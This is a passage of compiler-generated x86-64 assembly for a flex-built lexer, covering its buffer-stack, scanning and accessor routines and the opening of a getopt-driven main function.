movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.34(%rip), %rdx
LBB0_143:
xorl %eax, %eax
callq _fprintf
movl $2, %edi
callq _exit
LBB0_144:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str(%rip), %rdx
jmp LBB0_143
LBB0_145:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.1(%rip), %rdx
jmp LBB0_143
LBB0_146:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.33(%rip), %rdx
jmp LBB0_143
LBB0_147:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.35(%rip), %rdx
jmp LBB0_143
LBB0_148:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.36(%rip), %rdx
jmp LBB0_143
.cfi_endproc
.p2align 2, 0x90
.data_region jt32
.set L0_0_set_85, LBB0_85-LJTI0_0
.set L0_0_set_133, LBB0_133-LJTI0_0
.set L0_0_set_134, LBB0_134-LJTI0_0
.set L0_0_set_135, LBB0_135-LJTI0_0
.set L0_0_set_144, LBB0_144-LJTI0_0
.set L0_0_set_145, LBB0_145-LJTI0_0
.set L0_0_set_137, LBB0_137-LJTI0_0
LJTI0_0:
.long L0_0_set_85
.long L0_0_set_133
.long L0_0_set_134
.long L0_0_set_135
.long L0_0_set_144
.long L0_0_set_145
.long L0_0_set_137
.end_data_region
## -- End function
.p2align 4, 0x90 ## -- Begin function yyensure_buffer_stack
_yyensure_buffer_stack: ## @yyensure_buffer_stack
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq _yy_buffer_stack(%rip), %rdi
testq %rdi, %rdi
je LBB1_1
## %bb.3:
movq _yy_buffer_stack_max(%rip), %rbx
leaq -1(%rbx), %rax
cmpq %rax, _yy_buffer_stack_top(%rip)
jb LBB1_6
## %bb.4:
leaq 64(,%rbx,8), %rsi
callq _realloc
movq %rax, _yy_buffer_stack(%rip)
testq %rax, %rax
je LBB1_7
## %bb.5:
leaq 8(%rbx), %rcx
xorps %xmm0, %xmm0
movups %xmm0, 48(%rax,%rbx,8)
movups %xmm0, 32(%rax,%rbx,8)
movups %xmm0, 16(%rax,%rbx,8)
movups %xmm0, (%rax,%rbx,8)
movq %rcx, _yy_buffer_stack_max(%rip)
jmp LBB1_6
LBB1_1:
movl $8, %edi
callq _malloc
movq %rax, _yy_buffer_stack(%rip)
testq %rax, %rax
je LBB1_7
## %bb.2:
movq $0, (%rax)
movq $1, _yy_buffer_stack_max(%rip)
movq $0, _yy_buffer_stack_top(%rip)
LBB1_6:
addq $8, %rsp
popq %rbx
popq %rbp
retq
LBB1_7:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.37(%rip), %rdx
xorl %eax, %eax
callq _fprintf
movl $2, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _yy_create_buffer ## -- Begin function yy_create_buffer
.p2align 4, 0x90
_yy_create_buffer: ## @yy_create_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %esi, %r15d
movq %rdi, %r14
movl $72, %edi
callq _malloc
testq %rax, %rax
je LBB2_3
## %bb.1:
movq %rax, %rbx
movslq %r15d, %rdi
movq %rdi, 24(%rax)
addq $2, %rdi
callq _malloc
movq %rax, 8(%rbx)
testq %rax, %rax
je LBB2_3
## %bb.2:
movl $1, 40(%rbx)
movq %rbx, %rdi
movq %r14, %rsi
callq _yy_init_buffer
movq %rbx, %rax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
LBB2_3:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.2(%rip), %rdx
xorl %eax, %eax
callq _fprintf
movl $2, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _yyrestart ## -- Begin function yyrestart
.p2align 4, 0x90
_yyrestart: ## @yyrestart
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
movq _yy_buffer_stack(%rip), %rax
testq %rax, %rax
je LBB3_2
## %bb.1:
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rdi
testq %rdi, %rdi
jne LBB3_3
LBB3_2:
callq _yyensure_buffer_stack
movq _yyin(%rip), %rdi
movl $16384, %esi ## imm = 0x4000
callq _yy_create_buffer
movq %rax, %rdi
movq _yy_buffer_stack(%rip), %rax
movq _yy_buffer_stack_top(%rip), %rcx
movq %rdi, (%rax,%rcx,8)
LBB3_3:
movq %rbx, %rsi
callq _yy_init_buffer
movq _yy_buffer_stack(%rip), %rax
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rdx
movq 32(%rdx), %rsi
movq %rsi, _yy_n_chars(%rip)
movq 16(%rdx), %rdx
movq %rdx, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rsi
movq %rdx, (%rsi)
movq (%rax,%rcx,8), %rax
movq (%rax), %rax
movq %rax, _yyin(%rip)
movb (%rdx), %al
movb %al, _yy_hold_char(%rip)
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.p2align 4, 0x90 ## -- Begin function yy_init_buffer
_yy_init_buffer: ## @yy_init_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r14
movq %rdi, %rbx
callq ___error
movl (%rax), %r15d
testq %rbx, %rbx
je LBB4_1
## %bb.4:
movq $0, 32(%rbx)
movq 8(%rbx), %rax
movb $0, (%rax)
movq 8(%rbx), %rax
movb $0, 1(%rax)
movq 8(%rbx), %rax
movq %rax, 16(%rbx)
movl $1, 48(%rbx)
movl $0, 64(%rbx)
movq _yy_buffer_stack(%rip), %rax
testq %rax, %rax
je LBB4_5
## %bb.6:
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rcx
cmpq %rbx, %rcx
jne LBB4_2
jmp LBB4_8
LBB4_1:
movq _yy_buffer_stack(%rip), %rax
jmp LBB4_2
LBB4_5:
xorl %ecx, %ecx
cmpq %rbx, %rcx
je LBB4_8
LBB4_2:
movq %r14, (%rbx)
movl $1, 60(%rbx)
testq %rax, %rax
jne LBB4_9
## %bb.3:
xorl %eax, %eax
cmpq %rbx, %rax
jne LBB4_11
jmp LBB4_12
LBB4_8:
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rdx
movq 32(%rdx), %rsi
movq %rsi, _yy_n_chars(%rip)
movq 16(%rdx), %rdx
movq %rdx, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rsi
movq %rdx, (%rsi)
movq (%rax,%rcx,8), %rcx
movq (%rcx), %rcx
movq %rcx, _yyin(%rip)
movb (%rdx), %cl
movb %cl, _yy_hold_char(%rip)
movq %r14, (%rbx)
movl $1, 60(%rbx)
LBB4_9:
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rax
cmpq %rbx, %rax
je LBB4_12
LBB4_11:
movq $1, 52(%rbx)
LBB4_12:
testq %r14, %r14
je LBB4_13
## %bb.14:
movq %r14, %rdi
callq _fileno
movl %eax, %edi
callq _isatty
xorl %ecx, %ecx
testl %eax, %eax
setg %cl
jmp LBB4_15
LBB4_13:
xorl %ecx, %ecx
LBB4_15:
movl %ecx, 44(%rbx)
callq ___error
movl %r15d, (%rax)
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yy_switch_to_buffer ## -- Begin function yy_switch_to_buffer
.p2align 4, 0x90
_yy_switch_to_buffer: ## @yy_switch_to_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
callq _yyensure_buffer_stack
movq _yy_buffer_stack(%rip), %rax
testq %rax, %rax
je LBB5_1
## %bb.3:
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rdx
cmpq %rbx, %rdx
je LBB5_7
## %bb.4:
testq %rdx, %rdx
je LBB5_6
## %bb.5:
movb _yy_hold_char(%rip), %dl
movq _yy_c_buf_p(%rip), %rsi
movb %dl, (%rsi)
movq (%rax,%rcx,8), %rdx
movq %rsi, 16(%rdx)
movq _yy_n_chars(%rip), %rdx
movq (%rax,%rcx,8), %rsi
movq %rdx, 32(%rsi)
jmp LBB5_6
LBB5_1:
testq %rbx, %rbx
je LBB5_7
## %bb.2:
movq _yy_buffer_stack_top(%rip), %rcx
LBB5_6:
movq %rbx, (%rax,%rcx,8)
movq 32(%rbx), %rdx
movq %rdx, _yy_n_chars(%rip)
movq 16(%rbx), %rdx
movq %rdx, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rsi
movq %rdx, (%rsi)
movq (%rax,%rcx,8), %rax
movq (%rax), %rax
movq %rax, _yyin(%rip)
movb (%rdx), %al
movb %al, _yy_hold_char(%rip)
LBB5_7:
addq $8, %rsp
popq %rbx
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyalloc ## -- Begin function yyalloc
.p2align 4, 0x90
_yyalloc: ## @yyalloc
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
jmp _malloc ## TAILCALL
.cfi_endproc
## -- End function
.globl _yy_delete_buffer ## -- Begin function yy_delete_buffer
.p2align 4, 0x90
_yy_delete_buffer: ## @yy_delete_buffer
.cfi_startproc
## %bb.0:
testq %rdi, %rdi
je LBB7_9
## %bb.1:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
movq _yy_buffer_stack(%rip), %rax
testq %rax, %rax
je LBB7_2
## %bb.3:
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rcx
cmpq %rbx, %rcx
jne LBB7_6
LBB7_5:
movq _yy_buffer_stack_top(%rip), %rcx
movq $0, (%rax,%rcx,8)
LBB7_6:
cmpl $0, 40(%rbx)
je LBB7_8
## %bb.7:
movq 8(%rbx), %rdi
callq _free
LBB7_8:
movq %rbx, %rdi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _free ## TAILCALL
LBB7_9:
retq
LBB7_2:
xorl %ecx, %ecx
cmpq %rbx, %rcx
jne LBB7_6
jmp LBB7_5
.cfi_endproc
## -- End function
.globl _yyfree ## -- Begin function yyfree
.p2align 4, 0x90
_yyfree: ## @yyfree
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
jmp _free ## TAILCALL
.cfi_endproc
## -- End function
.globl _yy_flush_buffer ## -- Begin function yy_flush_buffer
.p2align 4, 0x90
_yy_flush_buffer: ## @yy_flush_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
testq %rdi, %rdi
je LBB9_6
## %bb.1:
movq $0, 32(%rdi)
movq 8(%rdi), %rax
movb $0, (%rax)
movq 8(%rdi), %rax
movb $0, 1(%rax)
movq 8(%rdi), %rax
movq %rax, 16(%rdi)
movl $1, 48(%rdi)
movl $0, 64(%rdi)
movq _yy_buffer_stack(%rip), %rax
testq %rax, %rax
je LBB9_2
## %bb.3:
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rcx
cmpq %rdi, %rcx
je LBB9_5
LBB9_6:
popq %rbp
retq
LBB9_2:
xorl %ecx, %ecx
cmpq %rdi, %rcx
jne LBB9_6
LBB9_5:
movq _yy_buffer_stack_top(%rip), %rcx
movq (%rax,%rcx,8), %rdx
movq 32(%rdx), %rsi
movq %rsi, _yy_n_chars(%rip)
movq 16(%rdx), %rdx
movq %rdx, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rsi
movq %rdx, (%rsi)
movq (%rax,%rcx,8), %rax
movq (%rax), %rax
movq %rax, _yyin(%rip)
movb (%rdx), %al
movb %al, _yy_hold_char(%rip)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yypush_buffer_state ## -- Begin function yypush_buffer_state
.p2align 4, 0x90
_yypush_buffer_state: ## @yypush_buffer_state
.cfi_startproc
## %bb.0:
testq %rdi, %rdi
je LBB10_5
## %bb.1:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
callq _yyensure_buffer_stack
movq _yy_buffer_stack(%rip), %rax
movq _yy_buffer_stack_top(%rip), %rcx
testq %rax, %rax
je LBB10_4
## %bb.2:
cmpq $0, (%rax,%rcx,8)
je LBB10_4
## %bb.3:
movb _yy_hold_char(%rip), %dl
movq _yy_c_buf_p(%rip), %rsi
movb %dl, (%rsi)
movq (%rax,%rcx,8), %rdx
movq %rsi, 16(%rdx)
movq _yy_n_chars(%rip), %rdx
movq (%rax,%rcx,8), %rsi
movq %rdx, 32(%rsi)
incq %rcx
movq %rcx, _yy_buffer_stack_top(%rip)
LBB10_4:
movq %rbx, (%rax,%rcx,8)
movq 32(%rbx), %rdx
movq %rdx, _yy_n_chars(%rip)
movq 16(%rbx), %rdx
movq %rdx, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rsi
movq %rdx, (%rsi)
movq (%rax,%rcx,8), %rax
movq (%rax), %rax
movq %rax, _yyin(%rip)
movb (%rdx), %al
movb %al, _yy_hold_char(%rip)
addq $8, %rsp
popq %rbx
popq %rbp
LBB10_5:
retq
.cfi_endproc
## -- End function
.globl _yypop_buffer_state ## -- Begin function yypop_buffer_state
.p2align 4, 0x90
_yypop_buffer_state: ## @yypop_buffer_state
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq _yy_buffer_stack(%rip), %rbx
testq %rbx, %rbx
je LBB11_7
## %bb.1:
movq _yy_buffer_stack_top(%rip), %r15
movq (%rbx,%r15,8), %r14
testq %r14, %r14
je LBB11_7
## %bb.2:
movq $0, (%rbx,%r15,8)
cmpl $0, 40(%r14)
je LBB11_4
## %bb.3:
movq 8(%r14), %rdi
callq _free
LBB11_4:
movq %r14, %rdi
callq _free
movq $0, (%rbx,%r15,8)
testq %r15, %r15
je LBB11_7
## %bb.5:
leaq -1(%r15), %rax
movq %rax, _yy_buffer_stack_top(%rip)
movq -8(%rbx,%r15,8), %rax
testq %rax, %rax
je LBB11_7
## %bb.6:
movq 32(%rax), %rcx
movq %rcx, _yy_n_chars(%rip)
movq 16(%rax), %rax
movq %rax, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rcx
movq %rax, (%rcx)
movq -8(%rbx,%r15,8), %rcx
movq (%rcx), %rcx
movq %rcx, _yyin(%rip)
movb (%rax), %al
movb %al, _yy_hold_char(%rip)
LBB11_7:
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yy_scan_buffer ## -- Begin function yy_scan_buffer
.p2align 4, 0x90
_yy_scan_buffer: ## @yy_scan_buffer
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
cmpq $2, %rsi
jb LBB12_1
## %bb.2:
movq %rsi, %rbx
movq %rdi, %r15
cmpb $0, -2(%rdi,%rsi)
jne LBB12_1
## %bb.4:
cmpb $0, -1(%rbx,%r15)
je LBB12_6
LBB12_1:
xorl %r14d, %r14d
LBB12_12:
movq %r14, %rax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
LBB12_6:
movl $72, %edi
callq _malloc
testq %rax, %rax
je LBB12_13
## %bb.7:
movq %rax, %r14
addq $-2, %rbx
movq %rbx, 24(%rax)
movq %r15, 8(%rax)
movq %r15, 16(%rax)
movl $0, 40(%rax)
movq $0, (%rax)
movq %rbx, 32(%rax)
movabsq $4294967296, %rax ## imm = 0x100000000
movq %rax, 44(%r14)
movq $0, 60(%r14)
callq _yyensure_buffer_stack
movq _yy_buffer_stack(%rip), %rax
movq _yy_buffer_stack_top(%rip), %rcx
testq %rax, %rax
je LBB12_11
## %bb.8:
movq (%rax,%rcx,8), %rdx
cmpq %r14, %rdx
je LBB12_12
## %bb.9:
testq %rdx, %rdx
je LBB12_11
## %bb.10:
movb _yy_hold_char(%rip), %dl
movq _yy_c_buf_p(%rip), %rsi
movb %dl, (%rsi)
movq (%rax,%rcx,8), %rdx
movq %rsi, 16(%rdx)
movq _yy_n_chars(%rip), %rdx
movq (%rax,%rcx,8), %rsi
movq %rdx, 32(%rsi)
movq 32(%r14), %rbx
LBB12_11:
movq %r14, (%rax,%rcx,8)
movq %rbx, _yy_n_chars(%rip)
movq 16(%r14), %rdx
movq %rdx, _yy_c_buf_p(%rip)
movq _yytext@GOTPCREL(%rip), %rsi
movq %rdx, (%rsi)
movq (%rax,%rcx,8), %rax
movq (%rax), %rax
movq %rax, _yyin(%rip)
movb (%rdx), %al
movb %al, _yy_hold_char(%rip)
jmp LBB12_12
LBB12_13:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.3(%rip), %rdx
xorl %eax, %eax
callq _fprintf
movl $2, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _yy_scan_string ## -- Begin function yy_scan_string
.p2align 4, 0x90
_yy_scan_string: ## @yy_scan_string
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %rbx
pushq %rax
.cfi_offset %rbx, -24
movq %rdi, %rbx
callq _strlen
movq %rbx, %rdi
movq %rax, %rsi
addq $8, %rsp
popq %rbx
popq %rbp
jmp _yy_scan_bytes ## TAILCALL
.cfi_endproc
## -- End function
.globl _yy_scan_bytes ## -- Begin function yy_scan_bytes
.p2align 4, 0x90
_yy_scan_bytes: ## @yy_scan_bytes
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r15
movq %rdi, %r12
leaq 2(%rsi), %r14
movq %r14, %rdi
callq _malloc
testq %rax, %rax
je LBB14_5
## %bb.1:
movq %rax, %rbx
testq %r15, %r15
je LBB14_3
## %bb.2:
movq %rbx, %rdi
movq %r12, %rsi
movq %r15, %rdx
callq _memcpy
LBB14_3:
movw $0, (%rbx,%r15)
movq %rbx, %rdi
movq %r14, %rsi
callq _yy_scan_buffer
testq %rax, %rax
je LBB14_4
## %bb.7:
movl $1, 40(%rax)
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
LBB14_5:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.4(%rip), %rdx
jmp LBB14_6
LBB14_4:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.5(%rip), %rdx
LBB14_6:
xorl %eax, %eax
callq _fprintf
movl $2, %edi
callq _exit
.cfi_endproc
## -- End function
.globl _yyget_lineno ## -- Begin function yyget_lineno
.p2align 4, 0x90
_yyget_lineno: ## @yyget_lineno
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl _yylineno(%rip), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyget_in ## -- Begin function yyget_in
.p2align 4, 0x90
_yyget_in: ## @yyget_in
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _yyin(%rip), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyget_out ## -- Begin function yyget_out
.p2align 4, 0x90
_yyget_out: ## @yyget_out
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _yyout(%rip), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyget_leng ## -- Begin function yyget_leng
.p2align 4, 0x90
_yyget_leng: ## @yyget_leng
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _yyleng@GOTPCREL(%rip), %rax
movq (%rax), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyget_text ## -- Begin function yyget_text
.p2align 4, 0x90
_yyget_text: ## @yyget_text
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq _yytext@GOTPCREL(%rip), %rax
movq (%rax), %rax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyset_lineno ## -- Begin function yyset_lineno
.p2align 4, 0x90
_yyset_lineno: ## @yyset_lineno
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, _yylineno(%rip)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyset_in ## -- Begin function yyset_in
.p2align 4, 0x90
_yyset_in: ## @yyset_in
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, _yyin(%rip)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyset_out ## -- Begin function yyset_out
.p2align 4, 0x90
_yyset_out: ## @yyset_out
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq %rdi, _yyout(%rip)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyget_debug ## -- Begin function yyget_debug
.p2align 4, 0x90
_yyget_debug: ## @yyget_debug
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl _yy_flex_debug(%rip), %eax
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyset_debug ## -- Begin function yyset_debug
.p2align 4, 0x90
_yyset_debug: ## @yyset_debug
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, _yy_flex_debug(%rip)
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yylex_destroy ## -- Begin function yylex_destroy
.p2align 4, 0x90
_yylex_destroy: ## @yylex_destroy
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq _yy_buffer_stack(%rip), %rbx
testq %rbx, %rbx
je LBB25_5
## %bb.1:
movq _yy_buffer_stack_top(%rip), %r15
movq (%rbx,%r15,8), %r14
testq %r14, %r14
je LBB25_5
## %bb.2:
movq $0, (%rbx,%r15,8)
cmpl $0, 40(%r14)
je LBB25_4
## %bb.3:
movq 8(%r14), %rdi
callq _free
movq _yy_buffer_stack(%rip), %rbx
movq _yy_buffer_stack_top(%rip), %r15
LBB25_4:
movq %r14, %rdi
callq _free
movq $0, (%rbx,%r15,8)
LBB25_5:
movq %rbx, %rdi
callq _free
movq $0, _yy_buffer_stack(%rip)
movq $0, _yy_buffer_stack_top(%rip)
movq $0, _yy_buffer_stack_max(%rip)
movq $0, _yy_c_buf_p(%rip)
movb $0, _yy_init(%rip)
movb $0, _yy_start(%rip)
movq $0, _yyin(%rip)
movq $0, _yyout(%rip)
xorl %eax, %eax
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.globl _yyrealloc ## -- Begin function yyrealloc
.p2align 4, 0x90
_yyrealloc: ## @yyrealloc
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
popq %rbp
jmp _realloc ## TAILCALL
.cfi_endproc
## -- End function
.globl _main ## -- Begin function main
.p2align 4, 0x90
_main: ## @main
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rsi, %r12
movl %edi, %r13d
leaq L_.str.6(%rip), %r14
leaq _pipe_output(%rip), %r15
leaq LJTI27_0(%rip), %rbx
jmp LBB27_4
LBB27_1: ## in Loop: Header=BB27_4 Depth=1
movb $1, _char_output(%rip)
LBB27_2: ## in Loop: Header=BB27_4 Depth=1
leaq _switch_present(%rip), %rax
LBB27_3: ## in Loop: Header=BB27_4 Depth=1
movb $1, (%rax)
LBB27_4: ## =>This Inner Loop Header: Depth=1
movl %r13d, %edi
movq %r12, %rsi
movq %r14, %rdx
callq _getopt
## kill: def $eax killed $eax def $rax
leal -63(%rax), %ecx
cmpl $56, %ecx
ja LBB27_9
## %bb.5: ## in Loop: Header=BB27_4 Depth=1
movslq (%rbx,%rcx,4), %rcx
addq %rbx, %rcx
movq %r15, %rax
jmpq *%rcx
LBB27_6: ## in Loop: Header=BB27_4 Depth=1
movb $1, _line_output(%rip)
jmp LBB27_2
LBB27_7: ## in Loop: Header=BB27_4 Depth=1
leaq _row_output(%rip), %rax
movb $1, (%rax)
jmp LBB27_4
LBB27_8: ## in Loop: Header=BB27_4 Depth=1
movb $1, _word_output(%rip)
jmp LBB27_2
LBB27_9: ## in Loop: Header=BB27_4 Depth=1
cmpl $-1, %eax
jne LBB27_4
## %bb.10:
movq _optind@GOTPCREL(%rip), %rax
movslq (%rax), %rax
cmpl %r13d, %eax
jne LBB27_21
## %bb.11:
movq ___stderrp@GOTPCREL(%rip), %rax
movq (%rax), %rdi
leaq L_.str.9(%rip), %rsi
leaq L_.str.10(%rip), %rdx
xorl %eax, %eax
callq _fprintf
jmp LBB27_19
LBB27_12:
movq _optopt@GOTPCREL(%rip), %rax
movl (%rax), %ebx
cmpq $127, %rbx
ja LBB27_14
## %bb.13:
movq __DefaultRuneLocale@GOTPCREL(%rip), %rcx
movl $262144, %eax ## imm = 0x40000
andl 60(%rcx,%rbx,4), %eax
jmp LBB27_15
LBB27_14:
movl $262144, %esi ## imm = 0x40000
movl %ebx, %edi
callq ___maskrune
LBB27_15:
movq ___stderrp@GOTPCREL(%rip), %rcx
movq (%rcx), %rdi
testl %eax, %eax
je LBB27_17
## %bb.16:
leaq L_.str.7(%rip), %rsi
jmp LBB27_18
LBB27_17:
leaq L_.str.8(%rip), %rsi
LBB27_18:
movl %ebx, %edx
xorl %eax, %eax
